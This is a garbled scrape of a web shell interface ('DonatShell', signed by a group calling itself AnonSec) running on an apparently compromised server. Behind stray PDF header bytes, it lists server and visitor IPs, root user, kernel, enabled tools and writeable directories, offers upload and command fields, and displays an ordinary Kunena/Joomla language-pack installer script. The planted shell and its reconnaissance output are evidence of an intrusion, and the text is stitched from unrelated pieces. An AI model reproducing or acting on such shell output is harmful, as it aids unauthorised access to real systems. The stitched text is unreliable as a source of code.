%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/manifests/packages/kunena_languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/manifests/packages/kunena_languages/install.script.php
<?php
/**
 * Kunena Component
 * @package Kunena.Installer
 *
 * @copyright (C) 2008 - 2014 Kunena Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link http://www.kunena.org
 **/
defined( '_JEXEC' ) or die();

class pkg_kunena_languagesInstallerScript {

	/**
	 * @param JInstallerFile $parent
	 */
	public function uninstall($parent) {
		// Remove languages.
		$languages = JFactory::getLanguage()->getKnownLanguages();
		foreach ($languages as $language) {
			$this->uninstallLanguage($language['tag'], $language['name']);
		}
	}

	/**
	 * @param string $type
	 * @param JInstallerFile $parent
	 * @return bool
	 */
	public function preflight($type, $parent) {
		if (!in_array($type, array('install', 'update'))) return true;

		$app = JFactory::getApplication();

		// Do not install if Kunena doesn't exist.
		if (!class_exists('KunenaForum') || !KunenaForum::isCompatible('3.0')) {
			$app->enqueueMessage(sprintf ( 'Kunena %s has not been installed, aborting!', '3.0' ), 'notice');
			return false;
		}
		if (KunenaForum::isDev()) {
			$app->enqueueMessage(sprintf ( 'You have installed Kunena from GitHub, aborting!' ), 'notice');
			return false;
		}

		// Get list of languages to be installed.
		$source = $parent->getParent()->getPath('source').'/language';
		$languages = JFactory::getLanguage()->getKnownLanguages();
		/** @var SimpleXMLElement $files */
		$files = $parent->manifest->files;
		foreach ($languages as $language) {
			$name = "com_kunena_{$language['tag']}";
			$search = JFolder::files($source, $name);
			if (empty($search)) continue;
			// Generate <file type="file" client="site" id="fi-FI">com_kunena_fi-FI_v2.0.0-BETA2-DEV2.zip</file>
			$file = $files->addChild('file', array_pop($search));
			$file->addAttribute('type', 'file');
			$file->addAttribute('client', 'site');
			$file->addAttribute('id', $name);
			echo sprintf('Installing language %s - %s ...', $language['tag'], $language['name']) . '<br />';
		}
		if (empty($files)) {
			$app->enqueueMessage(sprintf ( 'Your site is English only. There\'s no need to install Kunena language pack.' ), 'notice');
			return false;
		}

		// Remove old K1.7 style language pack.
		$table = JTable::getInstance('extension');
		$id = $table->find(array('type'=>'file', 'element'=>"kunena_language_pack"));
		if ($id) {
			$installer = new JInstaller();
			$installer->uninstall ( 'file', $id );
		}

		return true;
	}

	public function uninstallLanguage($tag, $name) {
		$table = JTable::getInstance('extension');
		$id = $table->find(array('type'=>'file', 'element'=>"com_kunena_{$tag}"));
		if (!$id) return;

		$installer = new JInstaller();
		$installer->uninstall ( 'file', $id );
	}
}

Anon7 - 2022
AnonSec Team